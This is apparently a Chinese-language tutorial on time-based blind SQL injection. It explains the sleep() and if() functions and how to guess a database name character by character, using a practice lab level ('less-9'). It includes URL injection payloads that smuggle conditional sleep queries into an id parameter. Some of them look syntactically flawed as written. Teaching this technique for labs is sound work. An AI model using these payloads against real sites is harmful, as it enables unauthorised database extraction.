目录
一,时间盲注概述
web页面只返回一个正常页面。利用页面响应时间不同,逐个猜解数据。但是前提是数据库会执行命令代码,只是不反馈页面信息。
回顾:
当页面有回显选择union注入;
当页面没有回显但是有报错信息选择报错注入;
当页面既没有回显也没有报错,但是有页面真假值,选择布尔盲注;
没有回显,没有报错,没有页面真假值,选择时间盲注;
二,关键函数
sleep()
函数sleep()参数为休眠时长,以秒为单位,可以为小数
if()
函数if(condition,true,false)
condition为条件,true为条件为真时返回的值,false为条件为假时返回的值
例如:
select if(1=1,sleep(0),sleep(3));
1=1为真,执行休眠0秒
三,注入原理
substr((),1,1)的作用是:从第一个字母开始显示一个字母
通过响应时间长短不一样,判断条件是否成立(比大小)
select if(ascii(substr(select database(),1,1))>100,sleep(0),sleep(3));
四,实例
以less-9为例:
由页面的响应时间来推算前面的猜解是否正确
?id=1' and select if(ascii(substr(select database(),1,1))>115,sleep(0),sleep(3)) --+
在此之后,我们可以更改substr参数推算第二个字母,并由此推算第二个字母,直到得出结果:
?id=1' and select if(ascii(substr(select database(),2,1))>115,sleep(0),sleep(3)) --+